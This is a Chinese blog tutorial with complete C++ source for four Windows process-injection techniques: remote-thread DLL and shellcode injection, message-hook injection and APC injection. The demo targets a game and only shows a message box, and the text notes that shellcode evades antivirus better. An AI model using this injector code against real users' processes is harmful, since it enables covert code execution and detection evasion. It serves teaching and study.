当前位置: 首页 > web >正文

Windows 动态注入(远程线程、消息钩子、APC)

Windows PC端动态注入(远程线程、消息钩子、APC)

说明:实现注入进程“FlappyBird.exe”,实现弹窗。完整代码在文末。

文章目录
  • Windows PC端动态注入(远程线程、消息钩子、APC)
  • * 远程线程注入
    
    •   * 注入DLL
      
      • 注入Shellcode
    • 消息钩子注入DLL
    • APC注入DLL
    • 完整代码
    •   * inject.cpp
      
      • dllmain.cpp

远程线程注入

注入DLL

首先需要一个事先准备好的DLL文件testDLL.dll,用vs2019创建一个DLL工程,在程序入口调用MessageBoxA()。

远程线程DLL注入的基本原理是利用Windows提供的API函数 CreateRemoteThread()
,实现在另外一个进程中注入一个线程,后续只要在线程体中执行加载testDLL.dll的操作,目标进程就会执行testDLL.dll中的代码了。

一个比较关键的问题是创建的远程线程是在目标进程中执行,无法调用本地函数,因此要利用系统API实现加载dll文件的操作。Win32程序在运行时都会加载
kernel32.dll
,而Windows默认同一个系统中dll的文件加载位置是固定的,因此kernel32.dll中的导出函数在任何进程的地址空间中的位置是固定的。动态加载dll文件需要系统API
LoadLibraryA()
,这个函数正好是kernel32.dll的导出函数。因此我们只需要在注射器程序中获取LoadLibraryA()的地址,令创建的远程线程执行LoadLibraryA(),传入参数testDLL.dll的路径,即可实现远程线程DLL注入。

具体实现步骤及部分源码如下(所有完整代码见文末):

1、根据进程名(“FlappyBird.exe”)查找进程ID

自己实现函数FindProcess(),入口参数:进程名、进程ID(出参);步骤如下:

调用 CreateToolhelp32Snapshot() 获取进程快照;传入参数
Th32CS_SNAPPROCESS
用于指定“在快照中包含系统中所有的进程”

调用**Process32First()、Process32Next()**遍历进程信息,对进程名进行字符串比较直至与目标进程名相等。

//由进程名获取进程ID
bool FindProcess(const wchar_t* processName, DWORD& dwProcess) {PROCESSENTRY32 pe32;  pe32.dwSize = sizeof(PROCESSENTRY32);      //获取进程快照HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);     if (hProcessSnap == INVALID_HANDLE_VALUE) {return false;}if (Process32First(hProcessSnap, &pe32)) {do {if (wcscmp(pe32.szExeFile, processName) == 0) {dwProcess = pe32.th32ProcessID;break;}} while (Process32Next(hProcessSnap, &pe32));}CloseHandle(hProcessSnap);if(dwProcess == 0) {return false;}return true;
}

2、调用 OpenProcess() 获取进程句柄,传入参数dwProcess(进程ID);调用 VirtualAllocEx()
在目标进程中为testDLL.dll的路径(字符串)分配内存空间(用于之后作为
LoadLibraryA
的参数);调用**WriteProcessMemory()**将testDLL.dll的路径写入内存。

调用LoadLibrary()加载动态链接库“kernel32.dll”,调用GetProcAddress()获取“LoadLibraryA”的地址。

调用CreateRemoteThread()创建远程线程,传入参数LoadLibraryA()地址和存放testDLL.dll路径的内存地址。等待线程结束关闭句柄,释放内存空间。

//DLL远程线程注入
void CreateRemoteThread_Inject(){DWORD dwProcess = 0;char myDLL[] = "C:\\testDLL.dll";//查找进程FlappyBird.exeif(FindProcess(L"FlappyBird.exe", dwProcess)){HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcess);    //打开进程LPVOID allocatedMem = VirtualAllocEx(hProcess, NULL, sizeof(myDLL), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);  //在进程中分配内存WriteProcessMemory(hProcess, allocatedMem, myDLL, sizeof(myDLL), NULL); //写入DLL路径HMODULE hModule = LoadLibrary(L"kernel32.dll");                //获取kernel32.dll模块句柄//获取LoadLibraryA函数地址LPTHREAD_START_ROUTINE pfnStarAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryA");if(pfnStarAddress == NULL){cout << "GetProcAddress failed" << endl;return;}HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, NULL, pfnStarAddress, allocatedMem, NULL, NULL);  //创建远程线程if(hRemoteThread == NULL){cout << "CreateRemoteThread failed" << endl;return;}WaitForSingleObject(hRemoteThread, INFINITE);  //等待远程线程结束CloseHandle(hRemoteThread);                                VirtualFreeEx(hProcess, allocatedMem, 0, MEM_FREE);}return;
}
注入Shellcode

DLL注入实现虽然简单,但是会在目标进程加载一个模块,已经能够被多数杀软主动拦截;我们用**CreateRemoteThread()**函数实现DLL远程线程注入,也可以自己编写Shellcode实现注入,相对DLL来说隐蔽性更强。

注入shellcode的难点是,由于注入的代码要“写入”其他进程空间当中,因此不能使用任何全局变量、不能调用本地定义的函数、不能调用一些库函数等等。当然,shellcode使用栈空间的局部变量、使用系统API(
kernel32.dll )都是没有问题的,如果使用其他dll库的函数可以用kernel32.dll导出函数**LoadLibraryA()
加载对应的dll后,再使用 GetProcAddress()**获取函数地址。

远程线程注入shellcode的原理与注入DLL原理类似,都是使用**OpenProcess + VirtualAllocEx +
WriteProcessMemory + CreateRemoteThread
**的框架,关键在于shellcode的编写,以在目标进程执行MessageBox()为例,具体步骤和部分代码如下:

1、定义线程参数结构体,用于接收API(LoadLibraryA()和GetProcAddress()的地址)和参数(加载的dll名、调用的API、API的参数);定义函数指针;

//该结构体用于接收API和4个字符串
typedef struct _THREAD_PARAM {FARPROC pFunc[2];char szBuf[4][128];
} THREAD_PARAM, *PTHREAD_PARAM;
typedef HMODULE (WINAPI *PFLOADLIBRARYA)    
(LPCSTR lpLibFileName
);  //定义LoadLibraryA函数指针
typedef FARPROC (WINAPI *PFGETPROCADDRESS)
(HMODULE hModule,LPCSTR lpProcName
); //定义GetProcAddress函数指针
typedef int (WINAPI *PFMESSAGEBOXA)
(HWND hWnd,LPCSTR lpText,LPCSTR lpCaption,UINT uType
); //定义MessageBoxA函数指针

2、编写shellcode,以上述结构体类型作为参数,依次调用API,实现调用MessageBoxA();

//线程函数
//未直接调用相关API和未直接定义使用字符串,而通过THREAD_PARAM结构体以线程参数的形式传递使用
DWORD WINAPI ThreadProc(LPVOID lpParam)
{   PTHREAD_PARAM pParam = (PTHREAD_PARAM)lpParam;HMODULE hMod = NULL;FARPROC pFunc = NULL;hMod = ((PFLOADLIBRARYA)pParam->pFunc[0])(pParam->szBuf[0]);        //调用LoadLibraryA函数if (hMod == NULL){return 1;}pFunc = ((PFGETPROCADDRESS)pParam->pFunc[1])(hMod, pParam->szBuf[1]);   //获取MessageBoxA函数地址if (pFunc == NULL){return 1;}((PFMESSAGEBOXA)pFunc)(NULL, pParam->szBuf[2], pParam->szBuf[3], 0);    //调用MessageBoxA函数return 0;
}

3、实现提权函数 EnableDebugPrivilege()

bool EnableDebugPrivilege() {HANDLE hToken;TOKEN_PRIVILEGES tp;//打开进程令牌if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {cout<<"OpenProcessToken failed"<<endl;return false;}//获取LUIDif(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) {cout<<"LookupPrivilegeValue failed"<<endl;return false ;}//设置权限tp.PrivilegeCount = 1;  //只设置一个权限tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;     //设置权限为启用,如果为SE_PRIVILEGE_REMOVED则为禁用//修改进程令牌,提升权限,使得能够访问受保护的进程,如系统进程,其他用户进程等if(!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) {cout<<"AdjustTokenPrivileges failed"<<endl;return false;}return true;
}

4、实现注入

准备好参数,使用CreatRemoteThread()框架实现注入,注意为代码申请的内存必须设置为可读可写可执行,注意将参数和shellcode都写入目标进程。

void CreateRemoteThread_shellcode()
{EnableDebugPrivilege(); //提升权限DWORD dwProcess = 0;//查找进程FlappyBird.exeif(FindProcess(L"FlappyBird.exe", dwProcess)){HMODULE hMod = NULL;THREAD_PARAM param = {0,};  //定义线程结构体变量HANDLE hProcess = NULL;HANDLE hThread = NULL;LPVOID pRemoteBuf[2] = {0,};DWORD dwSize = 0;hMod = GetModuleHandleA("kernel32.dll");//设置THREAD_PARAM结构体//加载到所有进程的kernel32.dll的地址都相同,因此从本进程获取的API与在目标进程中获取的API地址是一样的param.pFunc[0] = GetProcAddress(hMod, "LoadLibraryA");param.pFunc[1] = GetProcAddress(hMod, "GetProcAddress");strcpy_s(param.szBuf[0], "user32.dll");strcpy_s(param.szBuf[1], "MessageBoxA");strcpy_s(param.szBuf[2], "shellcode Success");strcpy_s(param.szBuf[3], "inject");hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcess);if (hProcess == NULL){cout<<"OpenProcess failed"<<endl;return;}//分配内存dwSize = sizeof(THREAD_PARAM);pRemoteBuf[0] = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);if (pRemoteBuf[0] == NULL){cout<<"VirtualAllocEx failed"<<endl;return;}//将线程参数写入目标进程if (!WriteProcessMemory(hProcess, pRemoteBuf[0], (LPVOID)&param, dwSize, NULL)){cout<<"WriteProcessMemory failed"<<endl;return;}dwSize = (DWORD)CreateRemoteThread_shellcode - (DWORD)ThreadProc;  //计算shellcode大小pRemoteBuf[1] = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (pRemoteBuf[1] == NULL){cout<<"VirtualAllocEx failed"<<endl;return;}//将shellcode写入目标进程if (!WriteProcessMemory(hProcess, pRemoteBuf[1], (LPVOID)ThreadProc, dwSize, NULL)){cout<<"WriteProcessMemory failed"<<endl;return;}//创建远程线程hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteBuf[1], //线程函数地址pRemoteBuf[0],                     //线程参数地址0, NULL);if (hThread == NULL){cout<<"CreateRemoteThread failed"<<endl;return;}WaitForSingleObject(hThread, INFINITE);CloseHandle(hThread);CloseHandle(hProcess);}
}

消息钩子注入DLL

消息钩子注入原理是利用Windows提供的**SetWindowsHookEx()**函数,它可以拦截进程的消息到指定的DLL中导出的函数,目标进程就会自动加载我们指定的DLL,利用这个特性可以实现消息钩子注入。

具体实现步骤和部分源码如下:

1、编写一个testDLL.dll用于Hook,在其中显式导出一个函数 NextHook()

//导出函数
extern "C" __declspec(dllexport) int NextHook(int code, WPARAM wParam, LPARAM lParam){return CallNextHookEx(NULL, code, wParam, lParam);
}

2、在注射器中首先调用FindWindow()查找窗口“FlappyBird”获取窗口句柄;调用 GetWindowThreadProcessId()
获取进程ID和线程ID;调用 LoadLibraryEx() 加载testDLL.dll到自身进程,传入参数
DONT_RESOLVE_DLL_REFERENCES
用于指定“不对DLL初始化”;调用**GetProcAddress() 获取钩子函数
NextHook()**的地址;

int SetWindowHookEx_inject() {HWND hwnd = FindWindow(NULL, L"FlappyBird"); //查找窗口if (hwnd == NULL) {cout << "FindWindow failed" << endl;return 1;}DWORD pid = NULL;DWORD tid = GetWindowThreadProcessId(hwnd, &pid); //获取进程IDif (tid == NULL) {cout << "GetWindow tid/pid failed" << endl;return 1;}HMODULE dll = LoadLibraryEx(L"C:\\testDLL.dll", NULL, DONT_RESOLVE_DLL_REFERENCES); //加载DLLif (dll == NULL) {cout << "LoadLibraryEx DLL failed" << endl;return 1;}HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "NextHook"); //获取钩子函数地址if (addr == NULL) {cout << "GetProcAddress failed" << endl;return 1;}HHOOK handle = SetWindowsHookEx(WH_GETMESSAGE, addr, dll, tid); //设置钩子if (handle == NULL) {cout << "SetWindowsHookEx failed" << endl;return EXIT_FAILURE;}PostThreadMessage(tid, WM_NULL, 0, 0); //发送消息,触发钩子cout<<"SetWindowsHookEx_inject success"<<endl;cout<<"Press any key to unhook"<<endl;getchar();BOOL unhook = UnhookWindowsHookEx(handle); //卸载钩子if (unhook == NULL) {cout << "UnhookWindowsHookEx failed" << endl;return EXIT_FAILURE;}return 0;
}

APC注入DLL

APC全称Asynchronous Procedure Call,叫异步过程调用,是指函数在特定现场中被异步执行,在操作系统中,APC是一种并发机制。

APC注入实现原理核心是利用 QueueUserApc()
这个API添加制定的回调函数到目标线程的APC队列中,系统会产生一个软中断,在线程下一次被调度/唤醒的时候,就会执行回调函数,因此我们只需要令
LoadLibraryW
作为回调函数,并且传入参数dll路径,即可实现注入。

当然APC注入是有条件的,用户态下的APC请求想要执行,必须等待线程进入**“Alertable” 状态,而只有当线程调用特定函数(SleepEx,
SignalObjectAndWait, MsgWaitForMultipleObjectsEx,
WaitForMultipleObjectsEx或WaitForSingleObjectEx)时,才会进入
Alertable
状态,所以为了应对这种苛刻的条件,提高注入成功的机率同时缩短等待时间,我们 需要遍历进程的所有线程,并对每一个线程进行APC注入。**

具体实现步骤和部分源码如下:

1、根据进程名(“FlappyBird.exe”)查找进程ID并且获取所有的线程ID,获取线程ID的方法与查找进程ID类似;

//根据进程名获取进程ID及其所有线程ID
bool FindProcess2(const wchar_t* processName, DWORD& dwProcess, vector<DWORD>& dwThreads) {PROCESSENTRY32 pe32;pe32.dwSize = sizeof(PROCESSENTRY32);HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);  //创建进程快照if (hProcessSnap == INVALID_HANDLE_VALUE) {cout << "CreateToolhelp32Snapshot failed" << endl;return false;}if (!Process32First(hProcessSnap, &pe32)) {     //获取第一个进程信息cout << "Process32First failed" << endl;CloseHandle(hProcessSnap);return false;}do {if (wcscmp(pe32.szExeFile, processName) == 0) {dwProcess = pe32.th32ProcessID;break;}} while (Process32Next(hProcessSnap, &pe32));CloseHandle(hProcessSnap);if (dwProcess == NULL) {cout << "FindProcess failed" << endl;return false;}THREADENTRY32 te32;te32.dwSize = sizeof(THREADENTRY32);HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);    //创建线程快照if (hThreadSnap == INVALID_HANDLE_VALUE) {cout << "CreateToolhelp32Snapshot failed" << endl;return false;}if (!Thread32First(hThreadSnap, &te32)) {cout << "Thread32First failed" << endl;CloseHandle(hThreadSnap);return false;}do {if (te32.th32OwnerProcessID == dwProcess) {dwThreads.push_back(te32.th32ThreadID);     //获取目标进程的所有线程ID}} while (Thread32Next(hThreadSnap, &te32));CloseHandle(hThreadSnap);if (dwThreads.size() == 0) {cout << "FindThread failed" << endl;return false;}return true;
}

2、调用OpenProcess()获取进程句柄,调用VirtuealAllocEx()为参数dll路径远程申请内存,调用WriteProcessMemory()写入dll路径;遍历所有线程,插入APC;具体插入步骤为:调用OpenThread()获取线程句柄,调用GetProcAddress()和GetModuleHandle()获取LoadLibraryW()地址,调用QueueUserAPC()实现插入APC。

void APC_Inject(){DWORD pid;vector<DWORD> tids;     //需要获取进程所有的线程IDif (FindProcess2(L"FlappyBird.exe", pid, tids)) {HANDLE hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);if (hProcess == NULL) {cout << "OpenProcess failed" << endl;return;}auto p = VirtualAllocEx(hProcess, NULL, 1<<12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); //在目标进程中申请内存wchar_t buffer[] = L"C:\\testDLL.dll";WriteProcessMemory(hProcess, p, buffer, sizeof(buffer), NULL); //将DLL路径写入目标进程中for(const auto& tid: tids){HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid);if (hThread == NULL) {cout << "OpenThread failed" << endl;return;}QueueUserAPC((PAPCFUNC)GetProcAddress(GetModuleHandle(L"kernel32"),"LoadLibraryW"),hThread,(ULONG_PTR)p); //将APC注入到目标进程中}VirtualFreeEx(hProcess, p, 0, MEM_RELEASE | MEM_DECOMMIT);}
}

完整代码

inject.cpp
#include <iostream>
#include <vector>
#include <Windows.h>
#include <TlHelp32.h>
#include <Psapi.h>
#include <string>
#include <tchar.h>
using namespace std;//由进程名获取进程ID
bool FindProcess(const wchar_t* processName, DWORD& dwProcess) {PROCESSENTRY32 pe32;  pe32.dwSize = sizeof(PROCESSENTRY32);      //获取进程快照HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);     if (hProcessSnap == INVALID_HANDLE_VALUE) {return false;}if (Process32First(hProcessSnap, &pe32)) {do {if (wcscmp(pe32.szExeFile, processName) == 0) {dwProcess = pe32.th32ProcessID;break;}} while (Process32Next(hProcessSnap, &pe32));}CloseHandle(hProcessSnap);if(dwProcess == 0) {return false;}return true;
}//DLL远程线程注入
void CreateRemoteThread_Inject(){DWORD dwProcess = 0;char myDLL[] = "C:\\testDLL.dll";//查找进程FlappyBird.exeif(FindProcess(L"FlappyBird.exe", dwProcess)){HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcess);    //打开进程LPVOID allocatedMem = VirtualAllocEx(hProcess, NULL, sizeof(myDLL), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);  //在进程中分配内存WriteProcessMemory(hProcess, allocatedMem, myDLL, sizeof(myDLL), NULL); //写入DLL路径HMODULE hModule = LoadLibrary(L"kernel32.dll");                //获取kernel32.dll模块句柄//获取LoadLibraryA函数地址LPTHREAD_START_ROUTINE pfnStarAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryA");if(pfnStarAddress == NULL){cout << "GetProcAddress failed" << endl;return;}HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, NULL, pfnStarAddress, allocatedMem, NULL, NULL);  //创建远程线程if(hRemoteThread == NULL){cout << "CreateRemoteThread failed" << endl;return;}WaitForSingleObject(hRemoteThread, INFINITE);  //等待远程线程结束CloseHandle(hRemoteThread);                                VirtualFreeEx(hProcess, allocatedMem, 0, MEM_FREE);}return;
}//***********************************************Shellcode远程线程注入***********************************************
bool EnableDebugPrivilege() {HANDLE hToken;TOKEN_PRIVILEGES tp;//打开进程令牌if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {cout<<"OpenProcessToken failed"<<endl;return false;}//获取LUIDif(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) {cout<<"LookupPrivilegeValue failed"<<endl;return false ;}//设置权限tp.PrivilegeCount = 1;  //只设置一个权限tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;     //设置权限为启用,如果为SE_PRIVILEGE_REMOVED则为禁用//修改进程令牌,提升权限,使得能够访问受保护的进程,如系统进程,其他用户进程等if(!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) {cout<<"AdjustTokenPrivileges failed"<<endl;return false;}return true;
}
//该结构体用于接收API和4个字符串
typedef struct _THREAD_PARAM {FARPROC pFunc[2];char szBuf[4][128];
} THREAD_PARAM, *PTHREAD_PARAM;
typedef HMODULE (WINAPI *PFLOADLIBRARYA)    
(LPCSTR lpLibFileName
);  //定义LoadLibraryA函数指针
typedef FARPROC (WINAPI *PFGETPROCADDRESS)
(HMODULE hModule,LPCSTR lpProcName
); //定义GetProcAddress函数指针
typedef int (WINAPI *PFMESSAGEBOXA)
(HWND hWnd,LPCSTR lpText,LPCSTR lpCaption,UINT uType
); //定义MessageBoxA函数指针//线程函数
//未直接调用相关API和未直接定义使用字符串,而通过THREAD_PARAM结构体以线程参数的形式传递使用
DWORD WINAPI ThreadProc(LPVOID lpParam)
{   PTHREAD_PARAM pParam = (PTHREAD_PARAM)lpParam;HMODULE hMod = NULL;FARPROC pFunc = NULL;hMod = ((PFLOADLIBRARYA)pParam->pFunc[0])(pParam->szBuf[0]);        //调用LoadLibraryA函数if (hMod == NULL){return 1;}pFunc = ((PFGETPROCADDRESS)pParam->pFunc[1])(hMod, pParam->szBuf[1]);   //获取MessageBoxA函数地址if (pFunc == NULL){return 1;}((PFMESSAGEBOXA)pFunc)(NULL, pParam->szBuf[2], pParam->szBuf[3], 0);    //调用MessageBoxA函数return 0;
}//shellcode 注入
void CreateRemoteThread_shellcode()
{EnableDebugPrivilege(); //提升权限DWORD dwProcess = 0;//查找进程FlappyBird.exeif(FindProcess(L"FlappyBird.exe", dwProcess)){HMODULE hMod = NULL;THREAD_PARAM param = {0,};  //定义线程结构体变量HANDLE hProcess = NULL;HANDLE hThread = NULL;LPVOID pRemoteBuf[2] = {0,};DWORD dwSize = 0;hMod = GetModuleHandleA("kernel32.dll");//设置THREAD_PARAM结构体//加载到所有进程的kernel32.dll的地址都相同,因此从本进程获取的API与在目标进程中获取的API地址是一样的param.pFunc[0] = GetProcAddress(hMod, "LoadLibraryA");param.pFunc[1] = GetProcAddress(hMod, "GetProcAddress");strcpy_s(param.szBuf[0], "user32.dll");strcpy_s(param.szBuf[1], "MessageBoxA");strcpy_s(param.szBuf[2], "shellcode Success");strcpy_s(param.szBuf[3], "inject");hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcess);if (hProcess == NULL){cout<<"OpenProcess failed"<<endl;return;}//分配内存dwSize = sizeof(THREAD_PARAM);pRemoteBuf[0] = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);if (pRemoteBuf[0] == NULL){cout<<"VirtualAllocEx failed"<<endl;return;}//将线程参数写入目标进程if (!WriteProcessMemory(hProcess, pRemoteBuf[0], (LPVOID)&param, dwSize, NULL)){cout<<"WriteProcessMemory failed"<<endl;return;}dwSize = (DWORD)CreateRemoteThread_shellcode - (DWORD)ThreadProc;  //计算shellcode大小pRemoteBuf[1] = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (pRemoteBuf[1] == NULL){cout<<"VirtualAllocEx failed"<<endl;return;}//将shellcode写入目标进程if (!WriteProcessMemory(hProcess, pRemoteBuf[1], (LPVOID)ThreadProc, dwSize, NULL)){cout<<"WriteProcessMemory failed"<<endl;return;}//创建远程线程hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteBuf[1], //线程函数地址pRemoteBuf[0],                     //线程参数地址0, NULL);if (hThread == NULL){cout<<"CreateRemoteThread failed"<<endl;return;}WaitForSingleObject(hThread, INFINITE);CloseHandle(hThread);CloseHandle(hProcess);}
}//***********************************************消息钩子注入***********************************************int SetWindowHookEx_inject() {HWND hwnd = FindWindow(NULL, L"FlappyBird"); //查找窗口if (hwnd == NULL) {cout << "FindWindow failed" << endl;return 1;}DWORD pid = NULL;DWORD tid = GetWindowThreadProcessId(hwnd, &pid); //获取进程IDif (tid == NULL) {cout << "GetWindow tid/pid failed" << endl;return 1;}HMODULE dll = LoadLibraryEx(L"C:\\testDLL.dll", NULL, DONT_RESOLVE_DLL_REFERENCES); //加载DLLif (dll == NULL) {cout << "LoadLibraryEx DLL failed" << endl;return 1;}HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "NextHook"); //获取钩子函数地址if (addr == NULL) {cout << "GetProcAddress failed" << endl;return 1;}HHOOK handle = SetWindowsHookEx(WH_GETMESSAGE, addr, dll, tid); //设置钩子if (handle == NULL) {cout << "SetWindowsHookEx failed" << endl;return EXIT_FAILURE;}PostThreadMessage(tid, WM_NULL, 0, 0); //发送消息,触发钩子cout<<"SetWindowsHookEx_inject success"<<endl;cout<<"Press any key to unhook"<<endl;getchar();BOOL unhook = UnhookWindowsHookEx(handle); //卸载钩子if (unhook == NULL) {cout << "UnhookWindowsHookEx failed" << endl;return EXIT_FAILURE;}return 0;
}//***********************************************APC注入***********************************************//根据进程名获取进程ID及其所有线程ID
bool FindProcess2(const wchar_t* processName, DWORD& dwProcess, vector<DWORD>& dwThreads) {PROCESSENTRY32 pe32;pe32.dwSize = sizeof(PROCESSENTRY32);HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);  //创建进程快照if (hProcessSnap == INVALID_HANDLE_VALUE) {cout << "CreateToolhelp32Snapshot failed" << endl;return false;}if (!Process32First(hProcessSnap, &pe32)) {     //获取第一个进程信息cout << "Process32First failed" << endl;CloseHandle(hProcessSnap);return false;}do {if (wcscmp(pe32.szExeFile, processName) == 0) {dwProcess = pe32.th32ProcessID;break;}} while (Process32Next(hProcessSnap, &pe32));CloseHandle(hProcessSnap);if (dwProcess == NULL) {cout << "FindProcess failed" << endl;return false;}THREADENTRY32 te32;te32.dwSize = sizeof(THREADENTRY32);HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);    //创建线程快照if (hThreadSnap == INVALID_HANDLE_VALUE) {cout << "CreateToolhelp32Snapshot failed" << endl;return false;}if (!Thread32First(hThreadSnap, &te32)) {cout << "Thread32First failed" << endl;CloseHandle(hThreadSnap);return false;}do {if (te32.th32OwnerProcessID == dwProcess) {dwThreads.push_back(te32.th32ThreadID);     //获取目标进程的所有线程ID}} while (Thread32Next(hThreadSnap, &te32));CloseHandle(hThreadSnap);if (dwThreads.size() == 0) {cout << "FindThread failed" << endl;return false;}return true;
}void APC_Inject(){DWORD pid;vector<DWORD> tids;     //需要获取进程所有的线程IDif (FindProcess2(L"FlappyBird.exe", pid, tids)) {HANDLE hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);if (hProcess == NULL) {cout << "OpenProcess failed" << endl;return;}auto p = VirtualAllocEx(hProcess, NULL, 1<<12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); //在目标进程中申请内存wchar_t buffer[] = L"C:\\testDLL.dll";WriteProcessMemory(hProcess, p, buffer, sizeof(buffer), NULL); //将DLL路径写入目标进程中for(const auto& tid: tids){HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid);if (hThread == NULL) {cout << "OpenThread failed" << endl;return;}QueueUserAPC((PAPCFUNC)GetProcAddress(GetModuleHandle(L"kernel32"),"LoadLibraryW"),hThread,(ULONG_PTR)p); //将APC注入到目标进程中}VirtualFreeEx(hProcess, p, 0, MEM_RELEASE | MEM_DECOMMIT);}
}int main()
{printf("Inject\n");CreateRemoteThread_Inject();//CreateRemoteThread_shellcode();//SetWindowHookEx_inject();//APC_Inject();printf("执行结束\n");getchar();return 0;
}
dllmain.cpp
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>//在DLL入口点中调用MessageBoxA
BOOL APIENTRY DllMain( HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:MessageBox(NULL, L"Inject", L"注射成功", MB_OK);break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;
}//导出函数
extern "C" __declspec(dllexport) int NextHook(int code, WPARAM wParam, LPARAM lParam){return CallNextHookEx(NULL, code, wParam, lParam);
}

网络安全工程师(白帽子)企业级学习路线

第一阶段:安全基础(入门)

img

第二阶段:Web渗透(初级网安工程师)

img

第三阶段:进阶部分(中级网络安全工程师)

img

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

学习资源分享

http://www.xdnf.cn/news/11761.html

相关文章:

  • 建网站并不难,只需6个步骤,就能做出一个网站
  • (php毕业设计源码)基于php的公交查询系统
  • 浅谈12306核心模型设计思路和架构设计
  • VHDL语言实现的任意整数分频器。
  • 记录Windows XP系统安装详细图文版安装日志
  • python自带的数据库_python用sybase自带的sybpydb模块访问数据库
  • delphi文件操作
  • STM32 SPI 软件NSS和硬件NSS解读
  • 黑客教你破解Email账号的三种方法
  • Mapreduce多条数据去重处理
  • Dedecms5.7数据结构说明文档
  • 进入qq空间显示服务器错误,解决QQ空间打开无响应或报错的方法
  • editplus 5注册码
  • 龙将加速浏览器_疫情严重反弹!马克龙宣布法国再度实施封锁措施
  • USD MID-160|全球最薄的MID!
  • IT外企那点儿事(转)
  • 彩虹桥木马程序backdoor.win32.bifrose.gel查杀
  • Eclipse导入项目already exist
  • 游戏开发随手记:Cocos2d触摸分发原理
  • 腾讯开源框架
  • 网易爱才 取之有道
  • Android休眠唤醒驱动流程
  • 企业邮箱托管外包后安全吗?企业邮箱安全须知
  • javascript语言入门教程,javascript教程完整版
  • 职业价值观测评(舒伯修订版)
  • 抢先体验Windows Technical Preview(Windows 10)和Windows Server Technical Preview
  • suse linux enterprise 10下载,在suse linux enterprise 10 中安装 oracle 10g
  • ASP.NET网站制作
  • Jbuilder8开发J2ee学习笔记(7) (转)
  • 电脑死机是什么原因及解决方法